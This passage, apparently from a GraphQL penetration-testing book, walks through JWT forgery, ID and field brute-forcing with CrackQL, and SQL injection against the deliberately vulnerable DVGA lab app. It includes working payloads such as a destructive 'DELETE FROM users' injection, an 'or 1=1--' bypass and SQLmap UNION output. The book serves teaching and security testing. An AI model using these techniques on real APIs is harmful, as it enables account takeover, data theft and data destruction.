  "jti": "5d38d3f9-cc55-472c-b74a-8b7ae3124ae2", 
  "identity": "operator", 
  "exp": 1657053829, 
  "api_token":"API_SECRET_PASSWORD" 
}

We can gain a lot of insight into an application by decoding and testing the
contents of JWT tokens.

Another way to bypass weak JWT authentication controls is by forging our
own JWT tokens. If a GraphQL API fails to correctly verify the signature of a



JWT token, it becomes vulnerable to forgery-based attacks, in which an
attacker can encode their own user details.

Let’s perform a JWT forgery attack against DVGA by forging the JWT
token of an administrator. First, copy the accessToken JWT we received in
“Brute-Forcing Passwords by Using Query Batching” on page 173, when we
successfully brute-forced the operator password. We can verify that the
accessToken is valid by sending it as a token argument in the me query
operation in DVGA:

query { 
  me(token: "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0eXBl
IjoiYWNjZXNzIiwiaWF0Ij 
oxNjU3MDQ2NjI5LCJuYmYiOjE2NTcwNDY2MjksImp0aSI6IjVkMzhkM2Y5
LWNjNTUtNDcyYy1iNzRhLT 
hiN2FlMzEyNGFlMiIsImlkZW50aXR5Ijoib3BlcmF0b3IiLCJleHAiOjE2
NTcwNTM4Mjl9.Ba3zfvSZq 
jDmyLFdx71WCs-7vidaxpUfs2X3UK3zZBA"){ 
    id 
    username 
    password 
  } 
}

DVGA will authenticate the user based on the identity claim in the JWT
and use the me query operation to return the authenticated user object fields:

{ 
  "data": { 
    "me": { 
      "id": "2", 
      "username": "operator", 
      "password": "******" 
    } 
  } 
}

Next, let’s paste the JWT string into https://jwt.io, as shown in Figure 7-3.
This website will automatically decode and present the three JWT segments
in a more human-readable form.

In the right panel, we can directly modify the decoded payload’s JSON
data, changing the "identity": "operator" line to "identity":

https://jwt.io/


"admin". You’ll notice that https://jwt.io will automatically encode the
payload changes in the left panel.

Figure 7-3: The DVGA operator’s accessToken, decoded using https://jwt.io

Now try using this forged JWT token against the me operation. Simply
copy the JWT and paste it into the query’s token argument. Because DVGA
doesn’t verify the JWT signature, it will authenticate our request with the
forged JWT token and return the admin user’s password:

{ 
  "data": { 
    "me": { 
      "id": "1", 
      "username": "admin", 
      "password": "changeme" 
    } 
  } 
}

https://jwt.io/
https://jwt.io/


When a client changes a JWT token, its signature should become invalid.
GraphQL APIs that don’t validate this signature by using their secret key will
be prone to forgery-based attacks.

Authorization Testing
As with authentication, developers can take several approaches to
implementing authorization. When given a limited GraphQL user account,
we, as hackers, should see how far we can escalate our privileges. In
particular, we should determine whether we’re able to bypass controls
intended to prevent us from reading user data or performing certain elevated
functions.

Like REST, GraphQL can be vulnerable to a variety of authorization
attacks, depending on how the API handles permission controls. Failure to
protect unauthorized access at the function level may result in the leakage of
sensitive data or the execution of damaging operations.

GraphQL-specific authorization flaws typically arise when permission
checks occur at the resolver level or after the execution of any business logic
or state changes. Let’s learn to detect some of these authorization approaches
and explore the attacks to which they might be vulnerable.

Detecting the Authorization Layer
We can go about detecting whether an API uses authorization controls, and of
what type, in several ways.

Finding Schema Directives
We mentioned earlier that developers sometimes implement authorization by
using schema directives. You can identify these schema directives if you have
access to the API’s SDL files. Alternatively, you can send a specialized
introspection query, like the one in Listing 7-8.

query { 
  __schema { 
    directives { 



      name 
      args { 
        name 
      } 
    } 
  } 
}

Listing 7-8: An introspection query to fetch directive names and
arguments

Running this query will return a list of all the query- and schema-level
directives in the target server. If you notice the @auth directive in the list,
you can assume that the schema supports it. Of course, developers can call
directives different things, so also look for names like @authorize,
@authorization, @authz, and others.

Finding Authentication Directives in the Schema
If we perform an introspection query to identify directives, we’ll know
whether an @auth directive exists. However, we won’t know where this
directive is applied in the schema, as this information isn’t exposed in an
introspection query. That’s because clients don’t call schema-level
directives; instead, developers use them to protect against unauthorized
access, among other use cases.

Take a look at the User object type in Listing 7-9 as an example.

Type User { 
  id: ID 
  username: String 
  email: String 
  password: String @auth(requires: ADMIN) 
  role: String 
}

Listing 7-9: An @auth directive usage example in a schema

You’ll find scanning the schema for @auth directives useful in white-box
penetration tests, which provide you with the SDL files. But in black-box



tests that provide no access to the schema, you might know that the password
field exists, for example, but not that the @auth directive applies to it.

The GraphQL developer community has discussed exposing information
about the use of schema-level directives in the introspection system.
However, many GraphQL implementations currently don’t expose this
information.

Enumerating Paths with graphql-path-enum
To test authorization controls, you should try accessing sensitive fields in as
many ways as you can imagine. For example, consider the following excerpt
from the DVGA’s schema, in which three queries access the PasteObject:

type Query { 
  pastes(public: Boolean, limit: Int, filter: String): [Pa
steObject] 
  paste(id: Int, title: String): PasteObject
--snip-- 
  users(id: Int): [UserObject] 
  readAndBurn(id: Int): PasteObject 
  search(keyword: String): [SearchResult] 
  audits: [AuditObject] 
  deleteAllPastes: Boolean 
  me(token: String): UserObject 
}

As a client, you could return information about pastes by using either
pastes, paste, or readAndBurn. When implementing in-band authorization,
a developer might accidentally protect only some of these queries. As such,
determine all possible paths to a given object type.

Schemas can be very large, so you’ll find it helpful to automate the
process of identifying all paths to a given object type. For this task, we’ll use
graphql-path-enum. This tool expects two important arguments: the
introspection JSON response and the name of an object type we want to test
for authorization issues. Let’s use it to find all paths to the PasteObject
object type.

First, run a full introspection query by pasting the query from https://githu
b.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_quer

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt


y.txt into Altair. Send the request and copy the response to a file named
introspection.json. Next, provide graphql-path-enum with this file and tell it
to search for all paths leading to the PasteObject object, as shown in Listin
g 7-10.

# cd ~ 
# ./graphql-path-enum -i introspection.json -t PasteObject 
 
Found 3 ways to reach the "PasteObject" node: 
- Query (pastes) -> PasteObject 
- Query (paste) -> PasteObject 
- Query (readAndBurn) -> PasteObject

Listing 7-10: Performing type path enumeration with graphql-path-enum

As you can see, graphql-path-enum traversed the introspection response
and identified all possible query paths to the object. Now we can manually
send these three queries to see whether any of them grant access to objects
that other queries don’t.

If you’d like to practice schema traversal in a large, complex GraphQL
API, try running graphql-path-enum against the Vehicle object type in the
popular Star Wars API (SWAPI). This API’s schema is larger than that of the
DVGA and should illustrate the importance of path enumeration when testing
for authorization issues. You can access the SWAPI schema at https://github.
com/dolevf/Black-Hat-GraphQL/blob/master/ch07/starwars-schema.json.

Brute-Forcing Arguments and Fields with CrackQL
Because graphql-path-enum works for only object types, you might try the
field-stuffing technique discussed in Chapter 6 to test for weak or nonexistent
authorization controls intended to limit the amount of data an unprivileged
user can view. We can also use CrackQL to programmatically brute-force
arguments and fields to which we shouldn’t have access. Imagine a query that
looks like the following:

query { 
  users(id: 1) { 
    username 
    password 

https://github.com/dolevf/Black-Hat-GraphQL/blob/master/queries/introspection_query.txt
https://github.com/dolevf/Black-Hat-GraphQL/blob/master/ch07/starwars-schema.json


  } 
}

Now, say that accessing information about certain users requires special
authorization permissions. We know that the user IDs are numerical and
incremental, but not which are protected. Let’s attempt to brute-force them all
with CrackQL.

In the CrackQL folder, under sample-queries, create a new file named
users.graphql with the following content:

query {
  users(id: {{id|int}}) {
     username
     password
   }
}

This query uses the users field with an id parameter of the Int type.
Because the query takes an id argument, we can attempt to enumerate
accounts by incrementally supplying a list of numerical user identifiers.
CrackQL will render the {{id|int}} string and replace it with words from
a wordlist we will create next.

Let’s create this dictionary of possible user IDs as a one-column CSV
wordlist. Such a list is easy to generate with some Bash-fu:

# cd ~/CrackQL 
# echo "id" > sample-inputs/users.csv 
# for id in `seq 1 100`; do echo $id >> sample-inputs/user
s.csv; done

Next, check that the file was generated properly by printing the first five
lines:

# head -5 sample-inputs/users.csv 
 
id 
1 
2 
3 
4



Now run CrackQL to find valid user IDs and retrieve their username and
password fields:

# python3 CrackQL.py -t http://localhost:5013/graphql -q s
ample-queries/users.graphql
-i sample-inputs/users.csv --verbose 
 
[+] Verifying Payload Batch Operation... 
[+] Sending Alias Batch 1 of 1 to http://localhost:5013/gr
aphql... 
=============================== 
Results: 
 
Data: 
[{'alias1': {'data': [{'password': '******', 'username':
 'admin'}], 
             'inputs': {'id': '120'}}}, 
 {'alias2': {'data': [{'password': '******', 'username':
 'operator'}], 
             'inputs': {'id': '120'}}}, 
 {'alias3': {'data': [], 'inputs': {'id': '120'}}},

You can also, in the same fashion, brute-force fields that you suspect you
won’t be able to access because of authorization controls by simply
modifying the original query to include these potential fields:

query { 
  users(id: {{id|int}}) { 
     username 
     password 
     accessToken
     birthDate
     location 
   } 
}

CrackQL will save the output of all attempts under the ~/CrackQL/results
folder. If these fields are accessible, you’ll see the responses to them there.

Summary



In this chapter, you learned about in-band and out-of-band GraphQL
authentication and authorization architectural models. We reviewed a few
traditional controls developers may have adopted in their GraphQL
deployments and called out the weaknesses to which they might be
susceptible. For example, GraphQL implementations that use JWT tokens
might be vulnerable to token forging. We also directed your attention to
newer, GraphQL-specific authentication and authorization libraries and plug-
ins, such as GraphQL Modules, GraphQL Shield, and custom schema
directives.

By taking advantage of GraphQL features like alias-based query batching,
we can brute-force in-band authentication operations manually or use
CrackQL to do this automatically. Using graphql-path-enum, we can
enumerate paths to types, and using CrackQL once again, we can potentially
access fields without proper authorization controls.

In the next chapter, we’ll turn to another age-old vulnerability class:
injections, which continue to wreak havoc even against modern API services
like GraphQL.



8
INJECTION

Clients interact with APIs in a variety of
ways, such as by creating, modifying, or
deleting data. Challenges arise when
applications must handle their arbitrary
input. Should applications ever trust the

input external clients send? What about internal
clients?

In this chapter, you’ll learn about injection vulnerabilities and discover
why it is important to identify and secure the various entry points into
applications backed by a GraphQL API, as well as the consequences of not
doing so. We will identify opportunities to influence an application’s logic
and manipulate it to take actions it wasn’t specifically designed to do.
Successful injection can lead to outcomes ranging from web page
manipulation to the execution of code on a database.

GraphQL servers typically work with a datastore, such as relational
databases like MySQL, document databases like Elasticsearch, key/value
stores like Redis, or even graph databases like Neo4j. All of these can be
vulnerable to injection-based vulnerabilities. In this chapter, we’ll discuss
three types of injection vulnerabilities. Some, like SQL injection (SQLi) and
operating system command injection, impact backend services such as
servers and databases. The other, XSS, impacts clients.



Injection Vulnerabilities in GraphQL
Injection vulnerabilities occur when an application accepts and processes
untrustworthy input without any sanitization. Sanitization is a security
measure that involves checking input and removing potentially dangerous
characters from it. The absence of such a check could allow the input to be
interpreted as a command or a query and execute on either the client side or
server side. Injection is a broad class of attacks that can impact a network
ecosystem, such as operating systems, clients’ browsers, databases, third-
party systems, and so on.

An application could accidentally introduce injection vulnerabilities in a
variety of ways, including the following:
The application does not implement security checks on the input it receives.
The application uses insecure libraries (such as a parser) to process user
input.
The application passes the received user input to a third system, which
doesn’t implement security checks on the input.
The application accepts input and displays it to the client without
transforming it in any way.

An application that implements a GraphQL API can become vulnerable to
injection vulnerabilities after it starts allowing clients to manipulate data
through interfaces such as the arguments of queries, mutations, or
subscriptions. Even a GraphQL API that allows clients to only read data
might have vulnerabilities in certain interfaces, such as query filters. While
the risk can be decreased, it is almost never zero.

Accepting user input is hard to avoid completely when building APIs. As
the application becomes more complex, it will need some sort of input to be
useful. For example, websites like Twitter or Facebook would be completely
pointless if they didn’t allow user input. User actions, like tweeting, writing
a Facebook post on someone’s wall, or uploading a dinner photo to
Instagram, all require user input.

The Blast Radius of Malicious Input



Whether it comes from human clients, or machines such as other servers on
the network, it is important to consider that input can be malicious. Even
internal machines could become compromised and send malicious input to
other servers.

Applications are often developed under a relaxed trust model. Such a trust
model assumes that input coming into the GraphQL API from other internal
systems on the same network is safe, while input that originates from external
sources is unsafe. This approach is very common, but designing systems in
this way can backfire; if we are able to hack a system and send commands to
another host on the network, we could easily move laterally to other servers.
Figure 8-1 illustrates a similar scenario.

Figure 8-1: Network trust boundaries

This figure describes a penetration test in which we’ve identified an
internet-facing GraphQL API server, the public server. This server happens
to be dual-homed, meaning it has two network interfaces and is part of two
separate networks. The server is vulnerable to injection attacks, as it does
not adequately check the incoming queries it receives from clients.

Now, imagine that the internal server in the diagram is also a GraphQL
server designed to trust any incoming queries from systems on the same
network. It was configured in this way because it is not internet facing, and
the security architects, in their threat model, assumed the local network was



safe. Yet if the public server is hacked, an attacker could send malicious
queries to the internal server.

This is why it is important to always perform security checks on any user
input. It is also why it’s crucial for hackers to test for injection
vulnerabilities wherever we identify that input is allowed.

The OWASP Top 10
Every few years, OWASP releases new vulnerability class rankings for web
applications under the OWASP Top 10 project to help companies focus their
security mitigation efforts on the most prevalent software flaw classes.

The injection vulnerability class has been on the OWASP Top 10 list for
almost two decades. In the latest OWASP Top 10 release, injection
vulnerability was ranked third, as shown in Table 8-1.

Table 8-1: OWASP Top 10

Identifier Vulnerability
A01 Broken access control
A02 Cryptographic failures
A03 Injection
A04 Insecure design
A05 Security misconfiguration
A06 Vulnerable and outdated components
A07 Identification and authentication failures
A08 Software and data integrity failures
A09 Security logging and monitoring failures
A10 Server-side request forgery

OWASP has also started tracking top vulnerabilities in APIs under a
dedicated project, the API Security Top 10. This split helps distinguish
between API- and non-API-based vulnerabilities. In the latest project release
as of this writing, injection was ranked eighth, as shown in Table 8-2.



Table 8-2: API Security Top 10

Identifier Vulnerability
API1 Broken object-level authorization
API2 Broken user authentication
API3 Excessive data exposure
API4 Lack of resource and rate limiting
API5 Broken function-level authorization
API6 Mass assignment
API7 Security misconfiguration
API8 Injection
API9 Improper asset management
API10 Insufficient logging and monitoring

Injection vulnerabilities can have devastating consequences in APIs, and it
is important to become comfortable with injection testing in both non-API-
based web applications and APIs when performing penetration tests.

The Injection Surface
GraphQL APIs are typically designed to accept input from clients, perform
backend actions such as database reading and writing, and return a response.

Technically, you can have read-only queries such as the following, which
doesn’t change anything on the server side. Clients can’t use the query to pass
arbitrary data, only the GraphQL fields id and ipAddr, which are defined in
the GraphQL schema, as you might remember from Chapter 3:

query { 
   pastes { 
      id 
      ipAddr 
   } 
}

An application developer can get away with having only read-only
operations if the application wasn’t designed to interact with clients in ways
that allow them to modify data on the server, but in reality, this will almost



never be the case. As applications become more complex and feature rich,
they’ll need to accept client input through interfaces such as query arguments,
field arguments, or both.

Let’s consider a few GraphQL components that allow clients to pass
arbitrary inputs before diving into the various injection vulnerabilities. For
each of these interfaces, you should ask yourself a few important questions:
Is the application verifying the incoming client input at all?
Does the application accept dangerous characters?
Does the application throw exceptions when unexpected characters are sent
as part of a query?
Does GraphQL check the value type passed to the arguments?
Can we infer from the GraphQL server response (or out-of-band response)
whether an injection attempt was successful?

Injection tests will require some trial and error, but once you experience a
breakthrough, you’ll have a very satisfying feeling.

Query Arguments
GraphQL operations such as queries, mutations, and subscriptions can be
designed to accept arguments. Consider the following query, which passes a
limit argument with an integer value of 100. While this operation is still
read-only, it provides an interface for manipulating the server’s response
through the use of query filters:

query { 
   pastes(limit: 100) { 
      id 
      ipAddr 
   } 
}

This argument doesn’t allow us to execute code, but we could use it to
influence the server in a variety of ways. For example, providing a negative
value (such as -1) to an Int-type argument such as limit could result in



unexpected behaviors. Sometimes APIs interpret -1 value as return all, in
which case the server will return the entire list of objects.

When you identify an argument of type String, you might want to spend
some time experimenting with various injection payloads. Consider the
GraphQL mutation in Listing 8-1, which uses the createPaste top-level
field.

mutation { 
 createPaste(content: "Some content", title:"Some title",
 public: false) { 
   paste { 
    id 
    ipAddr 
   } 
 } 
}

Listing 8-1: Mutation input points

The createPaste field is pretty self-explanatory; it takes information
from the client and uses that data to create a brand-new paste in the database.
In this example, the client controls the paste’s format via three arguments to
createPaste: content, title, and public. These arguments are of
different types. For example, content and title are of the scalar type
String, while public is of the scalar type Boolean.

Imagine how a paste creation operation might look from a database
operation perspective. Consider the following SQL example:

INSERT INTO pastes (content, title, public) 
VALUES ('some_malicious_content', 'some_title', false)

When a client query is received by a GraphQL API, the server may need to
look up information in or write information to a database in order to fulfill
the query. If the GraphQL API is designed to process input from arguments
such as content and title without proper security validations, data can be
injected directly into the SQL command, which could allow for a SQLi
vulnerability.



Consider the following SQLi example, in which a SQL command is
inserted into the content argument:

mutation { 
 createPaste(content: "content'); DELETE FROM users; --")
 { 
   paste { 
    id 
    ipAddr 
   } 
 } 
}

A query crafted this way could be converted to a SQL query on the
backend, and it may look like this:

INSERT INTO pastes (content) VALUES ('content'); DELETE FR
OM users; --

NOTE

GraphQL is strongly typed. This means that it will reject any type
mismatches when it sees them. For instance, an argument of type
Boolean should not accept a value of type String, only true or
false values. Values provided to arguments are validated against
the GraphQL schema when a query is processed during the
validation phase.

It is important to note that GraphQL APIs could (and should) have multiple
layers of defensive checks in the query resolvers to mitigate against any
forms of injection.

Field Arguments
Just like top-level fields, GraphQL fields in selection sets can also take
arguments. Consider the following query:

query { 
  users { 



    username(capitalize: true) 
    id 
  } 
}

Using this query, we can return a list of users’ IDs and usernames. By
default, the username field is lowercase in the response. Adding the
capitalize argument and setting it to true results in the GraphQL resolver
capitalizing the username.

Field arguments could be implemented to take different actions when
specified in a field and, in a security context, aren’t that different from other
arguments (such as arguments to directives). Values passed to field arguments
can be inserted into a database or influence logic. The application might even
use them as part of a different internal API call, so it’s important to test these
when they exist.

Query Directive Arguments
The query directives attached to certain GraphQL fields can also accept
arguments, often of scalar types such as String and Boolean. The way these
directives are used is completely implementation dependent, but it’s always
worth checking which kinds of values they allow a client to send.

Consider the following query:

query { 
  pastes { 
    id 
    ipAddr @show_network(style: "cidr") 
  } 
}

In this example, we specify an argument named style to the directive
show_network. The style argument is of type String, and it accepts
arbitrary strings. In this example, we supply cidr as the value. In the
backend, this will transform the ipAddr (IP address) field into an address
using Classless Inter-Domain Routing (CIDR) notation. For example, the
IPv4 address 192.168.0.1 will become 192.168.0.1/32.



NOTE

If introspection is enabled, GraphQL IDE tools such as GraphiQL
Explorer or GraphQL Playground will auto-complete directive
names and their arguments as soon as you start typing the at
symbol (@) on a field. The same is true for fields and their
arguments.

Query directive arguments can be prone to injections too. Attackers can
use them to influence the way the server returns the response to the specific
field. For instance, a query directive might use the argument where, which
then gets translated to a SQL-matching pattern (for example, the LIKE
operator).

You can use the introspection query shown in Listing 8-2 to get only the
available directives by using the __schema meta-field with the directives
field.

query GetDirectives { 
  __schema { 
    directives { 
      name 
      description 
      locations 
    } 
  } 
}

Listing 8-2: A GraphQL introspection query used to list directives

Operation Names
Operation names are strings we can add to GraphQL operations such as
queries, mutations, or subscriptions. They are often used to uniquely name
each query when multiple queries are sent together. GraphQL graphical IDEs
such as GraphiQL Explorer and GraphQL Playground use the operation name
as a way to allow clients to choose which operation to run when more than
one query exists in a document through a drop-down menu, as shown in Figur
e 8-2.



Figure 8-2: Executing a selected query based on its operation name in GraphiQL Explorer

Operation names are also used for other purposes, such as debugging and
logging. In fact, they are interesting potential injection vectors because
applications can use them in many ways. For instance, some applications use
operation names for analytics, to determine which queries clients use the
most. The operation name string could end up in different systems, such as
logging systems, relational databases, cache databases, and so on. It is
important to check whether the GraphQL API allows special characters as
part of the operation name, as this could turn out to be an injectable interface.

Operation names are typically alphanumeric, but some GraphQL server
implementations are more permissive than others when it comes to the type
of characters they permit.

Input Entry Points
When attempting to perform injection testing against GraphQL APIs, we need
to find a way to discover input entry points. If we are lucky and introspection
is left enabled, we can often quickly access the various queries, mutations,
and subscriptions that the API supports, along with information about its
types, fields, arguments, and so on, using a GraphQL IDE tool like Altair,
GraphiQL Explorer, or GraphQL Playground.



To view this information about DVGA in Altair, set the URL to
http://localhost:5013/graphiql and click the Save button (the diskette icon)
located at the top right. Click the Refresh button located next to the Save
button, and then click Docs. You should see a section for queries, mutations,
and subscriptions. Click any of them to see the types of arguments that exist
within each, as shown in the screenshot in Figure 8-3.

Figure 8-3: Schema documentation in the Altair client

If luck isn’t on our side and introspection was disabled on the server, we
can lean on tools such as Clairvoyance, which we touched on in Chapter 6, to
reconstruct the schema and discover the various available inputs.
Clairvoyance will fuzz the GraphQL document inputs to discover all of its
various operations, fields, types, and arguments necessary to rebuild the
complete schema view, which we can then use to identify all possible inputs.

We will next explore how common types of injections could look in the
GraphQL world by performing some injection testing against DVGA.



SQL Injection
SQL injection is one of the oldest types of vulnerabilities out there. SQLi
vulnerabilities happen when client input is directly inserted into a SQL
command without proper character escaping. This condition allows a hacker
to close out the intended SQL query and introduce their own SQL command,
effectively interfering with the query the application makes to its database.

A SQLi vulnerability in GraphQL APIs could have devastating
consequences. Full or even partial access to a database could result in any of
the following consequences:

Impact to data integrity. A SQLi vulnerability could allow us to manipulate
data, such as by altering data within a database table.

Impact to data confidentiality. SQLi could allow us to leak information
from a database, either from the application’s specific SQL tables or from
other tables in the same database. This information could include PII,
password hashes, sensitive tokens, and so on.

Impact to data availability. SQLi could allow us to delete segments of the
database or completely drop its tables, resulting in data loss and application
instabilities.

In recent years, modern web frameworks have gotten better at mitigating
SQLi vulnerabilities by offering out-of-the-box defense mechanisms such as
parameterized queries. Utilizing audited and vetted frameworks enables
developers to write code more securely by using the framework’s built-in
security features, such as through functions and libraries.

Understanding the Types of SQL Injection
There are two categories of SQLi vulnerabilities, each of which has a few
subcategories.

Classic SQL Injection
You know you’ve run into classic SQLi when the application returns SQL
query errors during injection testing. These errors can be displayed directly
in the web page or become apparent through network inspection. Two



techniques are used to identify a classic SQLi vulnerability: error based and
union based.

Error-based SQLi is used to identify SQLi vulnerabilities through error
observation. Applications that throw SQL errors to the client as a result of a
failure in SQL query execution could allow us to find the right attack pattern
to successfully exploit the SQLi vulnerability.

Union-based SQLi is used to identify SQLi vulnerabilities by leveraging
the UNION SQL operator. UNION concatenates results of multiple SELECT
statements, which can then be returned to the client.

Blind SQL Injection
In blind SQLi, we are given no visible indications that a vulnerability exists.
Applications could fail silently or redirect their errors to somewhere other
than the client. Two discovery techniques apply to the blind SQLi category.

Time-based SQLi forces the application to wait for a certain amount of
time before returning a response. By supplying a SQLi payload that instructs
the database to wait for a certain number of seconds, we can infer that the
application is vulnerable if a similar delay occurs in returning the final
response.

Boolean-based SQLi allows us to infer whether the application is
vulnerable to SQLi by constructing a payload that will return a Boolean
result such as true or false. By using this testing technique, we could
influence the way the application presents data to the client, which helps us
identify whether the vulnerability exists.

Testing for SQLi
While SQLi vulnerabilities are on the decline, they can still be found
occasionally. As hackers, we should assume that the application we’re
testing may not have the appropriate controls in place to prevent SQLi and
test for it wherever and whenever possible.

Testing for SQLi can be done in a variety of ways, such as the following:
Submitting characters like single (') or double (") quotes and observing how
the application handles unexpected inputs and errors.



Fuzzing input fields and observing application errors that may indicate
database query failures.
Submitting SQL commands that introduce delays, such as by using
BENCHMARK and SLEEP for MySQL databases, WAITFOR DELAY and WAITFOR
TIME for Microsoft SQL Server, or pg_sleep for PostgreSQL databases, and
then performing a response-timing analysis to identify whether the injection
was successful. This is especially helpful when we are performing blind
SQLi testing, whereby application errors are invisible to us.

SQLi in GraphQL can be introduced through any interface that accepts
client input. In this section, we will explore a SQLi example in GraphQL by
using DVGA.

Testing DVGA for SQLi with Burp Suite
The first step to injection testing in GraphQL is to find places where we can
make alterations to queries. We can start by looking at the schema
documentation in Altair. Figure 8-4 shows the Query section. The
documentation also has mutation and subscription sections, so have a look at
those too.



Figure 8-4: Queries in DVGA

As you can see, we have a few queries to choose from. Now we must
prioritize which areas to focus on. Notice that a few fields, such as
systemUpdate, systemHealth, audits, and deleteAllPastes, don’t take
any kinds of arguments, so we are better off focusing on the ones that do.
Let’s zoom in on the pastes field, which takes three optional arguments:
public, of type Boolean
limit, of type Integer
filter, of type String

The filter argument could be a valuable candidate for SQLi testing,
because it accepts string values and its name implies that it filters results.



This filtering could involve backend query resolver logic that uses SQL
operations, such as the SQL WHERE operator, in order to fulfill a query.

Now that we have a target, let’s begin interacting with DVGA and
proxying traffic. Open Burp Suite through Kali’s Applications menu, and then
click Open Browser to open the built-in browser located under the Proxy
tab and navigate to http://localhost:5013. After the application loads, make
sure Burp Suite is in Intercept mode. Navigate to the Private Pastes page in
DVGA located in the left sidebar. You should see a GraphQL request similar
to the one in Figure 8-5.

Figure 8-5: Intercepting a GraphQL query in Burp Suite



As you can see, DVGA sends an HTTP POST request using the GraphQL
pastes query operation to get the list of private pastes from the GraphQL
API server.

NOTE

If you don’t immediately see the initial POST request to /graphql,
click Forward until it appears.

If you switch to the WebSockets History tab, you will notice that DVGA
uses the subscription operation as well (Figure 8-6). The subscription
operation in this context allows the client to read new pastes from the API as
soon as they are created by subscribing to the pastes event.

To more easily manipulate requests, send the request to Burp Suite’s
Repeater by right-clicking anywhere in the request window and clicking
Send to Repeater. Then click the Repeater tab to see the captured request.
This allows you to replay requests on demand.

Let’s change the query so that it uses the filter argument. First, modify
the query to look like the following:

query {
 pastes(filter:"My First Paste") {
    id
    content
    title
 }
}



Figure 8-6: The historical WebSocket traffic view in Burp Suite

Note that when a query contains double quotes, we must escape the quotes
by using the backslash (\) character in Burp, as shown in Figure 8-7.



Figure 8-7: Using Burp Repeater to send modified GraphQL queries

NOTE

If you are using the licensed professional version of Burp Suite,
you can install the GraphQL Raider plug-in from Burp’s BApp
Store. Raider allows you to send native GraphQL queries from
within Burp Suite without having to worry about character
escaping.



Click Send to send the query to the GraphQL server. In response to this
query, we should receive a paste that matches our filter search pattern. More
specifically, it matches the content field:

"pastes": [ 
  { 
    --snip-- 
    "title":"Testing Testing", 
    "content":"My First Paste" 
    --snip-- 
  } 
]

This filter search pattern suggests that some sort of SQL query is
happening behind the scenes and that this query behaves similarly to the
following:

SELECT id, content, title FROM pastes WHERE content LIKE
 'My First Paste'

This SQL query will return the id, content, and title columns from the
pastes SQL table. Using the WHERE operator, the result will be filtered to
return only results related to pastes that include the string My First Paste in
their content, as defined by the LIKE operator.

We want to throw some characters at the application that would potentially
break this query and result in errors, which might indicate that the application
is sending our input directly into the query. For instance, the SQL query
would break if we added a single quote (') after the search string, because
this would result in an orphaned opening single quote without a closing
single quote.

Let’s send the following query to DVGA to see the response we receive
(notice the addition of the single quote):

query { 
 pastes(filter:"My First Paste'") { 
    id 
    content 
    title 
 } 
}



In Burp, modify the request to look like the one shown in Figure 8-8.
GraphQL should return a response containing an application error through the
errors JSON key that reveals some interesting information.

Figure 8-8: Breaking a SQL query by using a single quote with Burp Suite

It appears that our string causes the SQL query to become invalid because
it gets injected directly into the SQL LIKE search pattern. The application
doesn’t escape the single quote we introduced, which allows us to break the
SQL query altogether. Therefore, SQLite (the SQL engine that runs DVGA)
throws errors, as you can see based on the string
sqlite3.OperationalError in the error output.

NOTE

In addition to the potential SQLi vulnerability we just identified,
this is also an information disclosure vulnerability, because the
application did not handle the error gracefully. Application errors
that leak database information are valuable because they provide
us with insight into the database schema structure, such as what
columns or tables exist in the backend database. This information
can help us craft more precise SQLi commands.



So, we think we’ve found a SQLi vulnerability. Now what? Well, we can
check whether we are able to get additional information from the database by
changing the SQL query to one that, say, returns all pastes:

 query { 
  pastes(filter:"My First Paste' or 1=1--") { 
    title 
    content 
  } 
}

Now the SQL statement GraphQL uses when it queries the database after
parsing the incoming GraphQL query might look like this:

SELECT id, content, title FROM pastes WHERE content LIKE '
My First Paste' or 1=1—-'

By adding a single quote, we end the SQL LIKE operator immediately after
the My First Paste filter pattern. Then we can introduce an or condition that
makes the SQL query always true by adding the 1=1 comparison. We end the
SQL query by using the comment double dash (--) syntax in SQL, which
comments out the single quote at the end of the query, effectively ensuring that
our syntax remains valid despite our alteration.

Figure 8-9 shows what this SQLi query looks like in Burp Suite and its
result.

Figure 8-9: A successful SQL injection with Burp Suite



The server response contains all pastes in the DVGA database! This is an
example of a Boolean-based SQLi.

Automating SQL Injection
Other tools attempt to automate the detection of a SQLi vulnerability. In
particular, SQLmap can help fuzz the GraphQL API with payloads that are
tailored to various database engines, such as MySQL, PostgreSQL, SQLite,
and so on.

When performing a SQLi test, you can take any potential GraphQL query
and use an asterisk (*) to mark a specific position where SQLmap should
inject payloads. For example, consider the following snippet:

query { 
  pastes(filter:"test*") { 
     id 
  } 
}

In this example, SQLmap will replace the asterisk with entries from its
database of SQLi payloads.

SQLmap can read full HTTP requests from a file. We can take any HTTP
request and feed it into SQLmap, which will then read the query and use it to
execute SQL. Figure 8-10 shows how to save a request to a file in Burp
Suite. Right-click anywhere in the request window and select Copy to File.
Name the file request.txt and save it.



Figure 8-10: Saving an HTTP request from Burp Suite to a file

Next, run SQLmap by using the -r (request) argument to specify the file.
Set the target database engine argument (--dbms) to sqlite. By providing a
database engine name, we narrow the number of tests executed to only the
relevant subset and speed up the process of injection testing. Listing 8-3
shows how to run the command.

# sqlmap -r request.txt —dbms=sqlite —tables 
 
[14:30:53] [INFO] parsing HTTP request from 'request.txt' 
custom injection marker ('*') found in POST body. Do you w
ant to process it? [Y/n/q] Y 
 
JSON data found in POST body. Do you want to process it?
 [Y/n/q] n 
 
[14:30:55] [INFO] testing connection to the target URL 
it is recommended to perform only basic UNION tests if the
re is not at least one 
other (potential) technique found. Do you want to reduce t
he number of requests? [Y/n] Y 
 
[14:30:57] [INFO] testing 'Generic UNION query (NULL) — 1



 to 10 columns' 
(custom) POST parameter '#1*' is vulnerable. Do you want t
o keep testing the 
others (if any)? [y/N] N 
 
Parameter: #1* ((custom) POST) 
    Type: UNION query 
    Title: Generic UNION query (NULL) — 1 column 
    Payload: {"query":"query getPastes {\n        pastes(f
ilter:\"test' UNION ALL 
SELECT CHAR(113,122,98,122,113)||CHAR(102,90,76,111,106,9
7,117,117,105,113,101,121, 
72,117,112,87,114,99,114,65,99,86,84,120,72,69,115,122,12
0,77,121,119,122,103,108, 
116,87,100,114,82)||CHAR(113,122,98,98,113),NULL,NULL,NUL
L,NULL,NULL,NULL, 
NULL—bGJM\") {\n          id\n          title\n          c
ontent\n 
ipAddr\n          userAgent\n          owner {\n            
name\n 
}\n          }\n        }"}

Listing 8-3: A SQLmap successful injection output

SQLmap notifies us that it found our asterisk marker (*) and asks whether
we want to process it. Enter Y. The tool then indicates that it found JSON
data within our request.txt file and asks whether it should interpret it as
JSON. Enter N, as GraphQL syntax could confuse SQLmap. Next, it suggests
